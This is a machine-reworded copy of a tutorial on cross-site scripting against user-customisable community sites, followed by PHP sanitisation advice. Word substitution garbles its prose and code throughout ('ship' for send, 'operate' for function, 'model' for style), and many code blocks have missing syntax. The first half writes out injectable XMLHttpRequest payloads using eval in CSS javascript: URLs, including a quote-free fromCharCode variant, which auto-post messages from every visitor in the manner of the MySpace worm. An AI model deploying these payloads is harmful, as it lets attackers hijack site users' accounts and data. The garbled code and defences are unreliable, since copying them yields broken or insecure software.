Group Creators, Safe Your Code! Half II – A Record Aside

Partially certainly one of this two-part collection, we mentioned the menace of cross-site scripting basically phrases and launched various vital safety ideas. Partially two, we’ll take a extra in-depth, hands-on strategy: How does an attacker really exploit the weaknesses discovered? How are you going to defend your self? For causes of size, we’ll restrict our dialogue to 2 particular, consultant examples.

Article Continues Under

Actual-world examples#section2

Our examples are divided into three components:

  1. The code—the XMLHttpRequest used to ship information to or fetch information from the server,
  2. The state of affairs—injecting a visitor ebook message, and
  3. The safety check—our try to bypass varied safety measures.

The code#section3

Let’s begin with the XMLHttpRequest code. That is principally the identical in all our examples (this one is for POST, and relies on code by Drew McLellan on

operate xmlhttp(){
// Department for native XMLHttpRequest object
if( window.XMLHttpRequest ){
xmlhttp = new XMLHttpRequest();
// Department for IE/Home windows ActiveX model
} else if( window.ActiveXObject ){
  xmlhttp = new ActiveXObject( 'Msxml2.XMLHTTP' );
}catch( e ){
    xmlhttp = new ActiveXObject( iMicrosoft.XMLHTTP' );
  }catch( e ){}
/* The ship variable, syntax:

 The content material must be URL encoded
 if it accommodates particular characters. Attempt */
ship = 'variable1=content1&variable2=content2';

// URL to ship it to

// Perform which the info returned is shipped to
xmlhttp.onreadystatechange = nullfunction;

// POST 'POST', url, true );

// It is a type, use urlencode
xmlhttp.setRequestHeader( 'Content material-type',
'utility/x-www-form-urlencoded' );

// Calculate size
xmlhttp.setRequestHeader( 'Content material-length',
ship.size );

xmlhttp.setRequestHeader( 'Connection', 'shut');

// Ship
xmlhttp.ship( ship );

operate nullfunction(){

/* Un-comment to debug (will present any 
 standing 200 (OK) response  in an alert field) */
// if( xmlhttp.readyState  4 &&
//     xmlhttp.standing  200 ){
//   alert( xmlhttp.responseText );
// }

Usually, we aren’t within the window.XMLHttpRequest half, since many codes are primarily based on IE’s poor CSS rendering. This code is fairly simple, and there are just a few components of curiosity to us.

The ship variable
This variable holds our form-data, content material must be URL-Encoded if it accommodates any particular character (area, and so on.)
The url variable
This might be modified to the placement of the PHP/ASP/SERVER script we want to get information from or ship information to.
That is set to the operate we want to invoke when the script is executed. In our examples we use nullfunction since we aren’t fascinated by getting any information in return. In additional superior examples we’d then manipulate the info returned and get away the components we wanted. This might be used to fetch private info (identify, deal with, password) and ship it to your server utilizing one xmlhttp() to fetch the data and one other to ship it. methodology, url, asynchronous )
Methodology is ready to both GET or POST relying on whether or not we’re getting or sending, url is ready to our URL (see #1). Asynchronous is ready to true or false. If set to false, the browser will lock up till the response is acquired. We’ll set this to true, since we don’t wish to threat alarming the person.

The state of affairs#section4

We’ll undergo the next examples from an attacker’s point-of-view. The neighborhood we want to manipulate is ready up in an ordinary manner: customers can management the presentation of their person pages, they usually can add mates and ship messages, guest-book model. In our instance, we are going to attempt to inject code into the presentation of our customized person web page that mechanically sends a message to our visitor ebook at any time when one other person visits our web page. (That is basically how the MySpace XSS assault labored.)

First, we glance up the data we’d like: URLs, type info, and so on. You are able to do this utilizing Firefox’s built-in Kind info, or you possibly can simply look within the supply code.

We log in and navigate to the “add mates” web page. We right-click and select “View web page data.” Within the “Types” tab of the not too long ago opened dialog, we discover the shape info:

Kind identify: Form1
Methodology: POST
Kind motion: addmessage.php?id=3516

Kind Form1:
Discipline identify: non-public (Worth: True)
Discipline identify: message (Worth: JS injected)
Discipline identify: ship    (Worth: ship)

Or we are able to get the identical info by merely wanting on the supply code:

<type identify="Form1" methodology="put up" motion="addmessage.php?id=3516">
<enter identify="non-public" kind="textual content" worth="true">
<enter identify="message" kind="textual content" worth="JS injected">
<enter identify="ship" kind="submit" worth="ship">

That is all we’d like, however what does it inform us? So as to inject the message, we might want to ship the variables non-public (true or false, relying on if the message is non-public or not), message (A string, “JS injected” in our case) and ship (worth “ship”) to the URL addmessage.php?id=3516.

We might want to edit the code to suit our wants:

operate nullfunction(){
if( xmlhttp.readyState  4 &&
  xmlhttp.standing  200){
// Department for native XMLHttpRequest object
if( window.XMLHttpRequest ){
xmlhttp = new XMLHttpRequest();
// Department for IE/Home windows ActiveX model
}else if( window.ActiveXObject ){
xmlhttp = new ActiveXObject( ‘Msxml2.XMLHTTP’ );
}catch( e ){
  xmlhttp = new ActiveXObject( ‘Microsoft.XMLHTTP’ );
}catch( e ){}
ship = ‘non-public=true&message=JS+injected&ship=ship’;
xmlhttp.onreadystatechange = nullfunction;
// Use our URL ‘POST’, ‘addmessage.php?id=3516’, true );
// It’s a type, use urlencode
xmlhttp.setRequestHeader( ‘Content material-type’,
‘utility/x-www-form-urlencoded’ );
xmlhttp.setRequestHeader( ‘Content material-length’, ship.size );
xmlhttp.setRequestHeader( ‘Connection’, ‘shut’ );
// Ship
xmlhttp.ship( ship );

Please word that since we would like our code to execute on web page load, we’ve extracted the XMLHTTPRequest from its operate, leaving nullfunction the one operate in use. For debugging functions, we’ve added an alert to our nullfunction in order that no matter is returned (the HTML code) by addmessage.php?id=3516 might be proven to us in an alert field.

Earlier than we begin, I’d like to offer some tips about testing the code:

  • Use alert containers to verify the place the code goes fallacious.
  • Level the XMLHTTPRequest at a PHP (or ASP, and so on.) file that merely echoes out the POST. In PHP, this could seem like: <?php print_r( $_POST ); ?>
  • Use alert() to see the info being returned.

Injecting JavaScript#section5

Right here comes the difficult half: bypassing the safety measurements taken by the neighborhood creators. To do that, we use eval(), which is able to allow us to execute any JavaScript string. We do that by stripping the feedback and carriage returns so all of it finally ends up on one line:

eval('operate nullfunction(){if( xmlhttp.readyState <redpre#6> 200 ){alert(xmlhttp.responseText);}}if( window.XMLHttpRequest ){xmlhttp = new <span class="caps">XML</span>HttpRequest();}else if( window.ActiveXObject ){ attempt{xmlhttp = new ActiveXObject( ’Msxml2.XMLHTTP’ );}catch( e ){attempt{xmlhttp = new ActiveXObject( ’Microsoft.XMLHTTP’ );}catch( e ){} }}ship = ’non-public=true&message=JS+injected&ship=ship’; xmlhttp.onreadystatechange = nullfunction; ’POST’, ’js3.php’, true );xmlhttp.setRequestHeader( ’Content material-type’, ’utility/x-www-form-urlencoded’);xmlhttp.setRequestHeader( ’Content material-length’, ship.size );xmlhttp.setRequestHeader( ’Connection’, ’shut’ );xmlhttp.ship( ship );’);

Now that we all know what we want to inject and have it neatly formatted in a single line, we are able to begin attempting to bypass the filters.

Instance #1: Injecting JavaScript with a locked model tag, single quotes allowed#section6

As said partially certainly one of this collection, IE will deal with the next assertion as JavaScript (line wraps marked » —Ed.):

model="background:url(javascript: »

And likewise:

<div model="background:url(javascript:eval(alert(doc.cookie)))">

Nevertheless, since now we have a mixture of JavaScript, HTML, single quotes, and double quotes, escaping characters for eval could be difficult. Listed below are two tips:

  • In strings, single quotes should be escaped by two backslashes and by one semicolon (e.g.: myString = 'worth';).
  • In features, single quotes should be escaped by one backslash (e.g. check('check');) until you’re creating an object, then it should be escaped by two (e.g.: new ActiveXObject('Msxml2.XMLHTTP');).

Utilizing these tips, we’ll get the next code, and that is our (absolutely practical) finish consequence:

<div model="background:url(javascript:eval('operate nullfunction(){if( xmlhttp.readyState <redpre#9> 200 ){alert( xmlhttp.responseText );}}if( window.XMLHttpRequest ){xmlhttp = new <span class="caps">XML</span>HttpRequest();}else if( window.ActiveXObject ){attempt{xmlhttp = new ActiveXObject(’Msxml2.XMLHTTP’);}catch( e ){attempt{xmlhttp = new ActiveXObject(’Microsoft.XMLHTTP’);}catch( e ){}    }}ship=’non-public=true&message=JS+injected&ship=ship’;  xmlhttp.onreadystatechange=nullfunction; ’POST’, ’addmessage.php?id=3516’, true );xmlhttp.setRequestHeader( ’Content material-type’, ’utility/x-www-form-urlencoded’ );xmlhttp.setRequestHeader( ’Content material-length’, ship.size );xmlhttp.setRequestHeader( ’Connection’, ’shut’ );xmlhttp.ship( ship );’))”>

Or, to interrupt it down a bit of extra prettily:

<div model="background:url(javascript:eval('
operate nullfunction(){
if( xmlhttp.readyState  4 &&
    xmlhttp.standing  200 ){
if( window.XMLHttpRequest ){
xmlhttp = new XMLHttpRequest();
}else if( window.ActiveXObject ){
  xmlhttp = new ActiveXObject( ’Msxml2.XMLHTTP’ );
}catch( e ){
    xmlhttp = new ActiveXObject( ’Microsoft.XMLHTTP’ );    
  }catch( e ){}

ship= ’non-public=true&message=JS+injected&ship=ship’;
xmlhttp.onreadystatechange=nullfunction; ’POST’, ’addmessage.php?id=3516’, true ); 
xmlhttp.setRequestHeader( ’Content material-type’,
’utility/x-www-form-urlencoded’ );
xmlhttp.setRequestHeader( ’Content material-length’, ship.size );
xmlhttp.setRequestHeader( ’Connection’, ’shut’ );

And that’s it; we’ve efficiently injected our JavaScript code. Any customer to our (the attacker’s) person web page will mechanically ship us a guestbook message stating “JS Injected.”

Instance #2: Injecting JavaScript with an unlocked model tag, single quotes forbidden#section7

First off, what’s the distinction between a “locked” and “unlocked” model tag?

If the neighborhood has an unlocked model tag, this code is legitimate:

<div ex1="" ex2="" ex3="" model="">

Whereas a neighborhood that has locked it could take away ex1/ex2/ex3 since they aren’t on its white checklist. One may get round this, if the id tag is allowed, by merely creating plenty of divs (<div id="ex1">code</div>) and utilizing doc.all.ex1.innerHTML. You’d, nevertheless, need to “conceal” the code, since it could present up as HTML, which may make the person suspicious.

However let’s return to the instance; the neighborhood is stripping the only quote character. This makes it lots trickier, for the reason that code utilized in instance #1 received’t work.

JavaScript with out single and double quotes (since double quotes would collide with our model tag) is difficult, however could be finished. The concept is to make use of String.fromCharCode() and the flexibility to name for a personalized a part of a div (doc.all.divid.half).

Utilizing String.fromCharCode(39) will really give us a single quote, however the next code is invalid:

<div model="background:url(javascript:eval(

Since we are able to’t combine string calls and features as we do above.

Let’s begin out sluggish, to get the sensation of fromCharCode() and its use. The next code will really produce: eval(alert('check');):

<div ex0="alert(" ex1="check" ex2=");" id="mycode" 

This would possibly seem like Greek, however let’s break it down:

  1. doc.all.mycode.ex0 will add the string in ex0, on this case the primary facet of the alert() methodology name, “alert(”.
  2. String.fromCharCode(39) will add the primary single quote.
  3. doc.all.mycode.ex1 will add the string in ex1, on this case the content material of our alert(), “check.”
  4. String.fromCharCode(39) will add the second single quote.
  5. doc.all.mycode.ex2 will add the string in ex2, on this case closing our alert()@ name, “);”.

Including these up we get:

  1. alert(
  2. check
  3. );

Or, in a single line:


Now that we perceive the way it works, we simply need to take away the only quotes from our earlier code, create the component’s customized attributes after which rewrite our eval() to insert the only quotes the place we’d like them:

ex0="operate nullfunction(){ if( 
xmlhttp.readyState  4 && xmlhttp.standing  200 ){
alert( xmlhttp.responseText );}}if( window.XMLHttpRequest ){
xmlhttp = new XMLHttpRequest();
}else if( window.ActiveXObject ){
attempt{ xmlhttp = new ActiveXObject(” 
ex2=”);}catch( e ){attempt{xmlhttp = new ActiveXObject(” 
ex4=”);}catch( e ){}}}ship =” 
ex6=”;xmlhttp.onreadystatechange = nullfunction;” 
ex8=”, ” 
ex10=”, true);xmlhttp.setRequestHeader(” 
ex11=”Content material-type” 
ex12=”, ” 
ex14=”); xmlhttp.setRequestHeader(” 
ex15=”Content material-length” 
ex16=”, ship.size ); xmlhttp.setRequestHeader(” 
ex18=”, ” 
ex20=”); xmlhttp.ship( ship );”

That is our absolutely practical instance quantity #2. This may be hell to debug although; be sure to format the code appropriately from the beginning. If IE complains of bizarre errors—or doesn’t complain, however doesn’t execute—attempt placing the eval() string in an alert field and browse the code manually. Search for 'undefined' or single quotes misplaced)

Defending your self#section8

As described partially certainly one of this collection, you possibly can sanitize your neighborhood website in a number of methods, relying in your wants and the extent of your paranoia. (Please word that I’ll escape the next code for JavaScript solely. In case you intend to insert it in a database you would possibly want to flee it correctly even after this code. PHP has a features for this equivalent to mysql_real_escape_string().)

I’m not presenting these code snippets as an entire answer; consider them as solutions to get you began. Whereas implementing robust safety measures from the beginning is nice, you’ll additionally have to preserve your self up-to-date—new exploits are present in browsers day-after-day. Since I’m a PHP developer, my code might be in PHP. Be at liberty to contribute codes within the language of your selection within the article’s dialogue boards.

In our examples, we are going to use the string $string for simplicity. When JavaScript is discovered, we are going to name die("Attainable JavaScript injection discovered"). This isn’t be a advisable answer for precise use; a extra appropriate strategy could be to reject the code and present it to the person once more, warning them in opposition to using JavaScript. You would additionally log the makes an attempt.

A classical answer: search and block#section9

A method of defending your self is to seek for patterns or phrases and easily reject it if there’s a match. That is utilized by many to dam out <script> tags.

if( preg_match( '/<script>/', $string ) ){
die( 'Attainable JavaScript injection discovered' );

And even easier:

if( stripos( $string, '<script>' ) !== false ){
die( 'Attainable JavaScript injection discovered' );

This is perhaps one of many extra engaging approaches as a consequence of its simplicity however I might not suggest anybody utilizing it solely because you would want to seek out each potential manner of injecting JavaScript (<script>, model tags, onClick, onLoad, javascript:eval() in URLs, and so on.).

A brand new strategy#section10

I’m paranoid; I prefer to attempt to be absolutely protected. In PHP, htmlentities() does this. It converts “all relevant characters to HTML entities.”

Right here’s an instance from php.internet:

$str = "A 'quote' is <b>daring</b>";

# Outputs: A 'quote' is &lt;b&gt;daring&lt;/b&gt;
echo htmlentities($str);

# Outputs: A 'quote' is &lt;b&gt;daring&lt;/b&gt;
echo htmlentities($str, ENT_QUOTES);

There are a number of causes I like to begin with htmlentities(). I prefer to have a strong floor. In case you use a blacklist to take away JavaScript and miss one your website is susceptible. In case you use htmlentities and overlook one, you aren’t susceptible; the worst-case state of affairs is that <b> doesn’t convert to daring.

From right here we are able to go two methods; we are able to both let our customers use customized tags equivalent to [color] or we are able to allow them to use common HTML tags. I’ll discover each of those choices.

Customized tags#section11

That is the simplest manner. We merely search for a tag and validate it. In our instance we are going to take [color=#hex] textual content [/color] and convert it to <span model="colour: #hex;"> textual content </span>. We wish to permit using each #hex and names and we’ll use common expressions to verify it.

I exploit a program referred to as The Regex coach to attempt common expressions; it simplifies the method. I might be utilizing preg_replace. I’ve began out with common expressions in Perl for certainly one of my tasks and since then I’ve caught with it. It really works good and preg_replace is commonly quicker then ereg_replace).

preg_replace() takes three arguments (sample, alternative, and topic). Sample is a Perl styled common expression, alternative is the string to exchange with and topic is our string. In case you don’t have primary data of normal expressions do a search on Google.

We’ll begin by making an everyday expression, these are the necessities to match:

  • If it’s a hex code (begins with #) it must be 3 or 6 characters lengthy and include A-F and 0-9.
  • If it’s a identify we acquired two alternate options: Both we permit A-Z (3-7 characters lengthy) or we particularly permit the sixteen colours within the W3C CSS normal.

We’ll use the primary different for now. Let’s stroll by means of the primary regex collectively to refresh our reminiscences:


  • Brackets and slashes should be escaped by a backslash.
  • The variables we’d like are positioned between parentheses as seize teams for later use (they get translated into $n the place n is the variety of the parentheses ($1, $2, $3)).

This provides us two seize teams to deal with:

1. (#[a-fA-F0-9]{3,6}|[a-zA-Z]{3,7})

That is divided into two components (the string can match both one) by the | delimiter:

#[a-fA-F0-9]{3,6} tells us that it should begin with # and proceed with three to 6 characters (a-f and/or 0-9).

[a-zA-Z]{3,7} tells us that it should include three to seven a-z characters. This may be [aqua|black|blue|fuchsia|gray|green|lime|maroon |navy|olive|purple|red|silver|teal|white|yellow] since they’re the sixteen allowed colours.

2. (.+) merely tells us it may possibly match any character a number of instances.

This provides us (line wraps marked » —Ed.):

$string = '[color=#000000] testing [/color]';
$string = htmlentities($string);
$sample = "/[color=([#]?[a-fA-F0-9]{3,6}| »
$alternative = "<span model="colour: $1">$2</span>";
$string = preg_replace( $sample, $alternative, $string );

White lists#section12

White lists are a bit trickier, and I’m certain there are a number of completely different options for this. In mine I’ll use arrays containing the allowed variables. In case you are searching for extra examples attempt the remark part of preg_replace. As you most likely know, there’s multiple technique to do issues. There might certainly be a greater technique to write this, however the code under ought to at the very least get you began.

On this instance we are going to outline what HTML tag and CSS types are allowed. In my instance I’ll let my customers use the next HTML tags: robust, span, and div. The next types might be allowed: font-weight, font-family, font, background, background-color, and colour. (line wraps marked » —Ed.)

// Our string to course of
$string = '<robust>Line1</robust><br /> »
<div model="colour: gray;">Gray textual content</div> »
<span model="colour:#999;font-family:verdena;"> »
Span Instance</span> »

# Since I'm paranoid I'll use htmlentities() from the beginning,
$string = htmlentities($string);

$permit = array('robust', 'div', 'span', 'br /');

/* On my instance website we are going to permit sure model properties
 These are divided into two components:
   1. A-Z 0-9 enter
   2. Colours
 That is merely to point out two completely different RegExs. */

$cssaz     = array( 'font-weight', 'font-family', 'font' );
$csscolor = array( 'background', 'background-color', 'colour' );

foreach( $permit as $tag ){
/* The regex is sort of easy when you get used to
   the htmlentitied information
   Principally, it checks for <tag (model="")> */
$string = preg_replace_callback( »
'/&lt;('.$tag.')([s]+model=&quot; »
([a-z0-9,;:-s#]+)&quot;[s]*)?&gt;/i', »
'cleanit', $string );

$string = preg_replace( '/&lt;/('.$tag.')&gt;/i',
                 "</$1>", $string);

# echo the processed string
echo $string;

/* Our callback operate that can verify if our HTML tag 
 has model tags hooked up to it. If it has we should make 
 certain it accommodates solely the allowed types. */

operate cleanit( $array ){
international $cssaz, $csscolor;
/* If the array accommodates greater than 2 indexes
   the model parantheses matched. */
if( depend( $array ) > 2 ){
  # $array[3] is the content material of the model tag.

  /* Under is a primary verify for javascript (or really,  
     simply the 'java' half). This can be utilized if you would like 
     to log makes an attempt and so on. */
  if( strpos($array[3], 'java') !== false )
    return "<$array[1]>$array[4]</$array[1]>";

  /* As I've already identified, we're working with white 
     lists as an alternative of black lists. As an alternative of checking for
     disallowed types, you verify for allowed. */

  # Trim whitespace
  $array[3] = str_replace(' ', '', $array[3]);

  # Do now we have a ending semicolon? If not, add it.
  if( substr( $array[3], -1 ) !== ";" )
    $array[3] .= ";";

  /* We use preg_match_all to search for matches and return  
     them to the array $matches */
  preg_match_all( '/('.implode($cssaz,'|').'): »
([a-z0-9s,.]+);/', $array[3], $matchesaz );

  # Match colours too...
  preg_match_all( '/('.implode($csscolor,'|').'):([#]? »
$array[3], $matchescolor );

  /* When preg_match_all returns an array 
     0 is the matches string, 1 is our first 
     parenthesis and a couple of is our second.
     We would like the complete match */

  # Return the htmlcode
  return "<$array[1] model="".implode( $matchesaz[0], " " ).
    "  ".implode( $matchescolor[0], " " )."">";

  return "<$array[1]>";

Half certainly one of this collection targeted on idea, whereas half two offered a extra hands-on have a look at strategies of attacking customizable websites—and protecting measures. By now, it’s best to have gotten your fingers soiled with some JavaScript and gained extra data into how XSS assaults work and how one can defend your self from them.

Leave a Comment